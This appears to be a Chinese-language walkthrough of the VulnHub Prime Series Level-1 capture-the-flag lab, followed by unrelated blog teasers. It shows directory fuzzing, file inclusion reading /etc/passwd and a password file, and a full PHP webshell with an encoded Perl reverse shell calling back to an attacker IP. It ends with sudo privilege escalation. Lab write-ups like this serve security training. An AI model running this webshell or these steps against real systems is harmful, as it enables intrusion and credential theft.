VulnHub Prime_Series_Level-1

一、信息收集

1.nmap扫描

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.202

发现开放了22和80端口

2.web页面

打开80端口的web页面,是一张静态的图片,没什么价值,看看页面源代码

右击查看网页源代码,也没有发现什么有价值的信息

3.目录扫描

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.103.202

扫描发现有/dev、/javascript、/wordpress/wp-login.php目录

/dev这个目录比较可疑,不常见,访问下看看

他提示我们,要非常努力的使用工具去深挖web。说明我们的扫描还没有扫描完全,没有挖透,所以,这里利用dirb + X参数目录扫描工具再进行加一些参数,搞一个字典再进行目录爆破

我们可以选择带有.txt和.zip的一些文件后缀名再进行目录扫描一下

┌──(root💀kali)-[~/桌面]
└─# dirb http://192.168.103.202 -X .zip,.txt

打开一下这个扫描出来的.txt文件,查看一下文件内容:

下面圈起来,就是以下内容提示的重点了

//解释:
在你发现的每个php页面进行模糊测试吧,如果你得到了任何正确的参数,就跟着如下的步骤进行。
如果你依然卡住,学习一些OSCP基本工具的使用,
链接是https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web,
当你有了下一步进展之后去看看location.txt

并给出了模糊测试工具的github链接,同时还提示了我们有了下一步进展之后去看看location.txt。那么我们首先要做的应该是去寻找php页面。依旧使用dirb

┌──(root💀kali)-[~/桌面]
└─# dirb http://192.168.103.202 -X .zip,.txt,.php

两个.php:image.php index.php

二、漏洞利用

1.wfuzz

先查看下那个gethub提示的那个链接:

可找到参数应该是-c高亮显示,-w 使用字典进行尝试,把需要测试的页面改为image.php即可,github链接中还给出了范例命令

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 http://website.com/secret.php?FUZZ=something

测试.php的目录命令,如下:

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  http://192.168.103.202/index.php?FUZZ=

这个结果可以看到,列表中的Chars列基本都是136 Ch

使用参数--hh 136 进行过滤,显示Chars列结果不含136的payload

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.103.202/index.php?FUZZ

成功找到了一个payload!名为file,这应该是我们要关注的位置。我们用curl或浏览器查看192.168.103.202/index.php?file

curl 192.168.103.202/index.php?file

发现比起前面的图片,多了这两句话

他这里提示,我们挖错文件了。

想起了刚才的secret.txt提示我们有了下一步进展之后去看看location.txt,那我们就把location.txt作为参数传给file试试:

curl http://192.168.103.202/index.php?file=location.txt

提示修改传参的参数,并且使用别的.php文件:

curl http://192.168.103.202/image.php?secrettier360

提示我,说拿到了正确的参数,现在可以用这个参数进行传参数了,这个一看传参,就想到了应该会有文件包含漏洞

2.文件包含

先不管啥,一般文件包含,先试试读取一下/etc/passwd文件

发现成功读取到了/etc/passwd

http://192.168.103.202/image.php?secrettier360=../../../../../../etc/passwd

成功读取并回显了/etc/passwd,浏览器的效果看的头晕,还是用curl看一下**

┌──(root💀kali)-[~/桌面]
└─# curl http://192.168.103.202/image.php?secrettier360=../../../../../../etc/passwd

发现root,victor账户有bash环境,同时还在saket发现一句话,find password.txt file in my directory:/home/saket莫非是提醒我们在/home/saket/password.txt存在信息? 那我们再用文件包含看一下/home/saket/password.txt

文件包含漏洞访问之后,password.txt中写了follow_the_ippsec ,怀疑这可能是某个账号的密码,应该是个很关键的信息。最后再试试能不能直接访问/etc/shadow。很遗憾,并不行,浏览器和curl都无法看到回显。

3.wordpress CMS渗透

follow_the_ippsec应该就是一个密码,开始发现了开启了22端口,所以,试试ssh登录,账号用开始/etc/passwd上面的root,victor,saket,但是发现都失败了

之前的那个用dirb扫描的目录,还有一个wordpress,这个还没有去渗透测试,所以,现在把方向放wordpress上面

说不定是wordpress这个cms的后台登录密码

先访问目录:

发现用户名:victor用户

这个是wp的默认登录位置:

http://192.168.103.202/wordpress/wp-admin/

发现,成功登录进去了

用户名:victor
密码:follow_the_ippsec

通过这个步骤,去找找里面哪些具有可写,可执行,且具有可以保存的功能的.php文件

之前写过一个这种类似的,可以利用404.php来写入一个反弹shell的木马,但是这个WP,发现没有提交这个功能,所以得去找,哪个具有可写入以及可提交的.php文件

然后再secret.php文件找到可以写入,并且有提交保存的功能的.php文件

/* Ohh Finaly you got a writable file */

4.反弹shell

GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.103.129";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

点击提交保存成功

在这里面可以找到哪个secret.php的文件上传的位置

/themes/twentynineteen/

因此我们要访问的路径就是/themes/twentynineteen/secret.php,至于/themes前面的路径是啥,应该是wordpress主题的固定路径,也就是/wordpress/wp-content,这个可以在互联网上搜索到wordpress的主题编辑页面的路径。因此完整的路径是:

http://192.168.103.202/wordpress/wp-content/themes/twentynineteen/secret.phppython -c 'import pty; pty.spawn ("/bin/bash")'  #交互式shell

可以看到反弹成功了

三、提权

1.user.flag

开始我是直接到/home,查看有什么可以利用的账户,发现了saket账户里面有passwd和user

账号:saket
密码:tribute_to_ippsec

user.txt是一串数字,这应该就是user的flag

2.ssh连接

账号:saket
密码:tribute_to_ippsecpython -c "import pty;pty.spawn('/bin/bash')"  #交互式shell

3.sudo提权

提示我们,可以无密码的形式以root运行/home/victor/undefeated_victor,那咱就运行试试:

sudo /home/victor/undefeated_victor

我们去/tmp目录下看看有没有这个challenge文件,发现确实不存在

echo的方式创建challenge并追加命令:

echo '#!/bin/bash' > challenge
echo '/bin/bash' >> challenge

saket@ubuntu:/tmp$ chmod -R 777 challenge
saket@ubuntu:/tmp$ ls -la
-rwxrwxrwx  1 saket    saket      22 Nov  8 21:09 challenge

这样应该就可以执行了,再次执行/home/victor/undefeated_victor,即可提权成功

sudo /home/victor/undefeated_victor

4.root.flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/141779.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL练习01

1.游戏玩法分析 SQL Create table If Not Exists Activity (player_id int, device_id int, event_date date, games_played int); Truncate table Activity; insert into Activity (player_id, device_id, event_date, games_played) values (1, 2, 2016-03-01, 5); insert …

虚拟局域网

虚拟局域网(VLAN) VLAN建立于交换技术的基础之上 广播域(broadcast domain)&#xff1a;其中任何一台设备发出的广播通信都能被该部分网络中的所有其他设备所接收&#xff0c;这部分网络就叫广播域利用以太网交换机可以很方便地实现虚拟局域网VLAN(Virtual LAN)对于一个主机和…

【C++】——运算符重载

&#x1f383;个人专栏&#xff1a; &#x1f42c; 算法设计与分析&#xff1a;算法设计与分析_IT闫的博客-CSDN博客 &#x1f433;Java基础&#xff1a;Java基础_IT闫的博客-CSDN博客 &#x1f40b;c语言&#xff1a;c语言_IT闫的博客-CSDN博客 &#x1f41f;MySQL&#xff1a…

区块链探秘:从基础到深度,全面解读区块链技术与应用

1.区块链基本概念 1.发展历史 比特币诞生&#xff1a; 2008年&#xff0c;化名为中本聪的人发表了论文《Bitcoin&#xff1a;A Peer-to-Peer Electronic Cash System》 2009年1月3日&#xff0c;中本聪开发运行了比特币客户端程序并进行了首次挖矿&#xff0c;获得了第一批…

2023年开发语言和数据库排行

2023年开发语言和数据库排行 一、开发语言相关1. Python1.1 Python优点1.2 Python缺点1.3 Python应用领域 2. C 语言2.1 C 语言优点2.2 C 语言缺点2.3 C语言应用领域 3. Java3.1 Java 优点3.2 Java缺点3.3 Java应用场景 4. C4.1 C 优点4.2 C 缺点4.3 C 应用场景 5. C#5.1 C# 优…

2013年01月16日 Go生态洞察:并发不是并行

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

飞天使-template模版相关知识

遇到报错django.template.exceptions.TemplateSyntaxError: ‘staticfiles’ is not a registered tag library. Must ROOT_URLCONF TEMPLATES [{BACKEND: django.template.backends.django.DjangoTemplates,DIRS: [os.path.join(BASE_DIR, templates)],APP_DIRS: True,OPTI…

为什么要用kubernetes?

第一章 kubernetes介绍 本章节主要介绍应用程序在服务器上部署方式演变以及kubernetes的概念、组件和工作原理。 应用部署方式演变 在部署应用程序的方式上&#xff0c;主要经历了三个时代&#xff1a; 传统部署&#xff1a;互联网早期&#xff0c;会直接将应用程序部署在物…

asp.net学生宿舍管理系统VS开发sqlserver数据库web结构c#编程Microsoft Visual Studio

一、源码特点 asp.net 学生宿舍管理系统是一套完善的web设计管理系统&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为vs2010&#xff0c;数据库为sqlserver2008&#xff0c;使用c#语言 开发 asp.net学生宿舍管理系统1 应用技…

京东数据运营与分析:如何全面获取电商销售数据?

随着电商行业的快速发展&#xff0c;数据分析成为了电商运营中一个非常重要的环节&#xff0c;这一环往往能够帮助品牌方来提升销售业绩和管理效率。然而&#xff0c;如何获取到电商平台中详细、全面的销售数据是很多电商品牌方所关心的问题&#xff0c;事实上&#xff0c;第三…

前端开发引入element plus与windi css

背景 前端开发有很多流行框架&#xff0c;像React 、angular、vue等等&#xff0c;本文主要讲vue 给新手用的教程&#xff0c;其实官网已经写的很清楚&#xff0c;这里再啰嗦只是为了给新手提供一个更加简单明了的参考手册。 一、打开element plus官网选则如图所示模块安装命令…

No200.精选前端面试题,享受每天的挑战和学习

🤍 前端开发工程师(主业)、技术博主(副业)、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云课上架的前后端实战课程《Vue.js 和 Egg.js 开发企业级健康管理项目》、《带你从入…

如何利用大模型蒸馏出小模型实现降本

如何让小模型的推理效果在某些领域比 ChatGPT 这样的大模型还要更强&#xff1f;这篇论文提供了一个思路&#xff1a;https://arxiv.org/abs/2212.10071&#xff0c;借助思维链&#xff08;CoT&#xff09;逐步解决复杂推理任务的能力&#xff0c;可以使用大模型作为推理教师&a…

【Python基础篇】变量

博主&#xff1a;&#x1f44d;不许代码码上红 欢迎&#xff1a;&#x1f40b;点赞、收藏、关注、评论。 格言&#xff1a; 大鹏一日同风起&#xff0c;扶摇直上九万里。 文章目录 一 Python中变量的定义二 Python中变量的使用三 Python中变量的类型四 Python中变量的删除五 …

Element-Ui el-table 动态添加行

一、在项目需要使用 这个需求主要是在项目中需要用到 1.点击新增按钮&#xff0c;可以实现新增行。 2.在每个列里面可以进行输入。 3.可以删除新增的行&#xff0c;包括数据。 二、HTML代码 1.主要是循环每一个列&#xff0c;而且这些列都是动态&#xff0c;根据父组件传过来…

【Unity之UI编程】编写一个面板交互界面需要注意的细节

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;Uni…

千兆路由只有200M,原来是模式选择不对,也找到了内网不能通过动态域名访问内部服务的原因

本来1000M的宽带接入的&#xff0c;但是一测试发现只有200M&#xff0c;把电信叼了过来&#xff0c; 一测试发现宽带没问题&#xff0c;网线正常&#xff0c;网卡正常&#xff0c;只有可能是路由器的问题了&#xff0c;尴尬了&#xff0c;赶紧给满意好评放他走。回头好好研究一…

nvm工具解决nodejs版本切换问题

常见版本问题 npm启动vite项目报错&#xff0c;信息如下 npm run dev> my-vue-app0.0.0 dev D:\data\code\document-assistant-web > vitefile:///D:/data/code/document-assistant-web/node_modules/vite/bin/vite.js:7await import(source-map-support).then((r) >…

3D模型人物换装系统三(优化合批处理,提取合批配置可,封装)

3D模型人物换装系统三&#xff08;优化合批处理&#xff0c;提取合批配置可&#xff0c;封装&#xff09; 介绍法线贴图问题规划以及封装缺陷修改整理 整合总结 介绍 本文使用2018.4.4和2020.3.26进行的测试 这里先说一下我上一篇没有解决的问题&#xff0c;法线贴图不正确&am…

计算机网络基础知识-网络协议

一:计算机网络层次划分 1. 网络层次划分 2. OSI七层网络模型 1)物理层(Physical Layer):及硬件设备,物理层确保原始的数据可在各种物理媒体上传输,常见的设备名称如中继器(Repeater,也叫放大器)和集线器; 2)数据链路层(Data Link Layer):数据链路层在物理层提…